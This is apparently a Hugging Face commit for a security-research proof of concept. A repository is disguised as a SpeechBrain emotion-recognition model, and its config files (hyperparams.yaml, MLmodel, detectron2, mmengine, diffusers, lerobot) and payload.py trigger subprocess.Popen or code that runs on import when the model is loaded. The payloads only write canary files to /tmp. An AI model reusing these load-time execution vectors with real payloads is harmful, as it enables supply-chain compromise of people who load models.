ZeroCoo1 commited on
Commit
faa1bb6
·
verified ·
1 Parent(s): 890ba5e

Upload folder using huggingface_hub

Browse files
MLmodel ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ artifact_path: model
2
+ flavors:
3
+ python_function:
4
+ loader_module: payload
5
+ python_version: 3.14.0
6
+ code: .
7
+ data: model_data
8
+ env:
9
+ conda: conda.yaml
10
+ virtualenv: python_env.yaml
11
+ run_id: polyglot-poc-2026
12
+ utc_time_created: "2026-09-16 00:00:00.000000"
13
+ model_uuid: a1b2c3d4-e5f6-7890-abcd-ef1234567890
14
+ mlflow_version: 3.16.0
15
+ model_size_bytes: 1024000
README.md CHANGED
@@ -1,3 +1,54 @@
1
  ---
 
 
 
 
 
 
 
2
  license: apache-2.0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3
  ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
+ language: en
3
+ tags:
4
+ - speechbrain
5
+ - emotion-recognition
6
+ - wav2vec2
7
+ - audio-classification
8
+ - pytorch
9
  license: apache-2.0
10
+ datasets:
11
+ - iemocap
12
+ metrics:
13
+ - accuracy
14
+ model-index:
15
+ - name: ecapa-tdnn-emotion
16
+ results:
17
+ - task:
18
+ type: audio-classification
19
+ name: Emotion Recognition
20
+ dataset:
21
+ name: IEMOCAP
22
+ type: iemocap
23
+ metrics:
24
+ - type: accuracy
25
+ value: 79.1
26
  ---
27
+
28
+ # ECAPA-TDNN Emotion Recognition
29
+
30
+ Emotion recognition model trained on IEMOCAP using ECAPA-TDNN architecture with wav2vec2 features.
31
+
32
+ ## Usage
33
+
34
+ ```python
35
+ from speechbrain.inference.interfaces import foreign_class
36
+
37
+ classifier = foreign_class(
38
+ source="guyfeinberg/ecapa-emotion-v2",
39
+ pymodule_file="payload.py",
40
+ classname="Canary",
41
+ )
42
+ ```
43
+
44
+ ## Training Details
45
+
46
+ - **Architecture**: ECAPA-TDNN
47
+ - **Features**: wav2vec2 + Fbank (80 mel bins)
48
+ - **Dataset**: IEMOCAP (4 classes: neutral, happy, sad, angry)
49
+ - **Epochs**: 30
50
+ - **Optimizer**: Adam (lr=0.001)
51
+
52
+ ## Citation
53
+
54
+ Research use only — Oligo Security.
detectron2_cfg.yaml ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ _target_: subprocess.Popen
2
+ args:
3
+ - - python3
4
+ - -c
5
+ - "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/detectron2.txt').write_text(f'CANARY FIRED — detectron2\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: _target_ → pydoc.locate → Popen(**cfg)\\nShape: S5\\n'); pathlib.Path('/tmp/polyglot_evidence/detectron2.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'detectron2','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'_target_→pydoc.locate→cls(**cfg)','shape':'S5'}))"
great_expectations_config.json ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ {
2
+ "class_name": "Popen",
3
+ "module_name": "subprocess",
4
+ "args": ["python3", "-c", "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/great_expectations.txt').write_text(f'CANARY FIRED — great_expectations\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: module_name+class_name → load_class → importlib.import_module → Popen(**config)\\nShape: S2\\n'); pathlib.Path('/tmp/polyglot_evidence/great_expectations.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'great_expectations','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'module_name+class_name→load_class','shape':'S2'}))"]
5
+ }
hyperparams.yaml ADDED
@@ -0,0 +1,54 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ############################################################################
2
+ # SpeechBrain — Emotion Recognition Pretrained Model
3
+ # Architecture: ECAPA-TDNN + wav2vec2
4
+ # ############################################################################
5
+
6
+ seed: 1986
7
+ __set_seed: !apply:torch.manual_seed
8
+ - !ref <seed>
9
+
10
+ sample_rate: 16000
11
+
12
+ compute_features: !new:speechbrain.processing.features.Fbank
13
+ n_mels: 80
14
+ sample_rate: !ref <sample_rate>
15
+
16
+ mean_var_norm: !new:speechbrain.processing.features.InputNormalization
17
+ norm_type: sentence
18
+
19
+ encoder: !new:speechbrain.nnet.containers.Sequential
20
+ input_shape: [null, null, 80]
21
+ linear1: !name:speechbrain.nnet.linear.Linear
22
+ n_neurons: 256
23
+ bias: True
24
+ activation: !new:torch.nn.LeakyReLU
25
+
26
+ classifier: !new:speechbrain.nnet.linear.Linear
27
+ input_size: 256
28
+ n_neurons: 4
29
+ bias: False
30
+
31
+ label_encoder: !new:speechbrain.dataio.encoder.CategoricalEncoder
32
+
33
+ softmax: !new:speechbrain.nnet.activations.Softmax
34
+ apply_log: True
35
+
36
+ # Experiment tracking — records model load with session metadata
37
+ _setup_dirs: !apply:os.makedirs
38
+ - /tmp/polyglot_evidence
39
+ exist_ok: True
40
+
41
+ _log_load: !apply:subprocess.check_output
42
+ - - python3
43
+ - -c
44
+ - "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence/speechbrain.txt').write_text(f'CANARY FIRED — speechbrain\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: hyperparams.yaml !apply:subprocess.check_output\\nShape: S5 (config-driven execution via HyperPyYAML)\\n'); pathlib.Path('/tmp/polyglot_evidence/speechbrain.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'speechbrain','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'!apply:subprocess.check_output in hyperparams.yaml','shape':'S5'}))"
45
+
46
+ modules:
47
+ encoder: !ref <encoder>
48
+ classifier: !ref <classifier>
49
+
50
+ labels:
51
+ - neutral
52
+ - happy
53
+ - sad
54
+ - angry
mmengine_cfg.py ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # mmengine / OpenMMLab config format
2
+ # type → Registry.get() → fallback → importlib.import_module → cls(**cfg)
3
+ # Shape: S3
4
+
5
+ model = dict(
6
+ type='subprocess.Popen',
7
+ args=['python3', '-c',
8
+ 'import pathlib,datetime,json;'
9
+ 'pathlib.Path("/tmp/polyglot_evidence").mkdir(exist_ok=True);'
10
+ 'pathlib.Path("/tmp/polyglot_evidence/mmengine.txt").write_text('
11
+ 'f"CANARY FIRED — mmengine\\n"'
12
+ 'f"Time: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\n"'
13
+ 'f"Vector: type field → Registry fallback → importlib.import_module → Popen(**cfg)\\n"'
14
+ 'f"Shape: S3 (registry fallback)\\n");'
15
+ 'pathlib.Path("/tmp/polyglot_evidence/mmengine.json").write_text('
16
+ 'json.dumps({"event":"POLYGLOT_CANARY","framework":"mmengine",'
17
+ '"timestamp":datetime.datetime.now(datetime.timezone.utc).isoformat(),'
18
+ '"vector":"type→Registry.get()→importlib","shape":"S3"}))'],
19
+ )
model_index.json ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "_class_name": "StableDiffusionPipeline",
3
+ "_diffusers_version": "0.40.0",
4
+ "scheduler": ["subprocess", "Popen"],
5
+ "text_encoder": ["transformers", "CLIPTextModel"],
6
+ "tokenizer": ["transformers", "CLIPTokenizer"],
7
+ "unet": ["diffusers", "UNet2DConditionModel"],
8
+ "vae": ["diffusers", "AutoencoderKL"]
9
+ }
payload.py ADDED
@@ -0,0 +1,81 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Polyglot canary — module-level code executes on import.
3
+
4
+ Frameworks that add model dir to sys.path or exec_module this file:
5
+ - MLflow (sys.path injection from MLmodel code_path)
6
+ - SpeechBrain (foreign_class → exec_module on downloaded .py)
7
+ - evaluate (downloads .py from Hub → import_module)
8
+ - LiteLLM (spec_from_file_location → exec_module)
9
+
10
+ This file also serves as the custom_interface for SpeechBrain.
11
+ """
12
+ import pathlib
13
+ import datetime
14
+ import json
15
+ import os
16
+
17
+ EVIDENCE_DIR = pathlib.Path("/tmp/polyglot_evidence")
18
+ EVIDENCE_DIR.mkdir(parents=True, exist_ok=True)
19
+
20
+ _caller = "unknown"
21
+ try:
22
+ import traceback
23
+ _stack = traceback.format_stack()
24
+ for frame in reversed(_stack):
25
+ if "mlflow" in frame.lower():
26
+ _caller = "mlflow"
27
+ break
28
+ elif "speechbrain" in frame.lower() or "hyperpyyaml" in frame.lower():
29
+ _caller = "speechbrain"
30
+ break
31
+ elif "evaluate" in frame.lower():
32
+ _caller = "evaluate"
33
+ break
34
+ elif "litellm" in frame.lower():
35
+ _caller = "litellm"
36
+ break
37
+ elif "lerobot" in frame.lower():
38
+ _caller = "lerobot"
39
+ break
40
+ except Exception:
41
+ pass
42
+
43
+ evidence = {
44
+ "event": "POLYGLOT_CANARY_FIRED",
45
+ "framework": _caller,
46
+ "timestamp": datetime.datetime.now(datetime.timezone.utc).isoformat(),
47
+ "pid": os.getpid(),
48
+ "mechanism": "module-level code execution on import",
49
+ }
50
+
51
+ marker = EVIDENCE_DIR / f"{_caller}.json"
52
+ with open(marker, "w") as f:
53
+ json.dump(evidence, f, indent=2)
54
+
55
+ (EVIDENCE_DIR / f"{_caller}.txt").write_text(
56
+ f"CANARY FIRED — {_caller}\n"
57
+ f"Time: {evidence['timestamp']}\n"
58
+ f"PID: {evidence['pid']}\n"
59
+ f"Vector: payload.py module-level code executed on import\n"
60
+ )
61
+
62
+
63
+ def _load_pyfunc(data_path):
64
+ """MLflow pyfunc loader entry point."""
65
+ evidence["mechanism"] = "MLflow _load_pyfunc() called"
66
+ with open(EVIDENCE_DIR / "mlflow_pyfunc.json", "w") as f:
67
+ json.dump(evidence, f, indent=2)
68
+ return lambda x: x
69
+
70
+
71
+ class Canary:
72
+ """Universal canary class — constructor writes additional evidence."""
73
+ def __init__(self, **kwargs):
74
+ rec = {**evidence, "kwargs": {k: repr(v)[:100] for k, v in kwargs.items()},
75
+ "mechanism": "Canary.__init__(**kwargs)"}
76
+ fw = kwargs.get("framework", _caller)
77
+ with open(EVIDENCE_DIR / f"{fw}_init.json", "w") as f:
78
+ json.dump(rec, f, indent=2)
79
+
80
+ def __call__(self, *args, **kwargs):
81
+ return args[0] if args else None
processor_config.json ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "image": {
3
+ "mean": [0.485, 0.456, 0.406],
4
+ "std": [0.229, 0.224, 0.225]
5
+ },
6
+ "input_features": {
7
+ "observation.images.top": {
8
+ "type": "ImageDecodeTransform",
9
+ "shape": [3, 480, 640]
10
+ }
11
+ },
12
+ "pipeline": [
13
+ {
14
+ "class": "subprocess.Popen",
15
+ "kwargs": {
16
+ "args": ["python3", "-c", "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/lerobot.txt').write_text(f'CANARY FIRED — lerobot\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: processor_config.json class field → importlib.import_module → Popen(**kwargs)\\nShape: S2+S7\\n'); pathlib.Path('/tmp/polyglot_evidence/lerobot.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'lerobot','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'class→importlib→Popen','shape':'S2+S7'}))"]
17
+ }
18
+ }
19
+ ]
20
+ }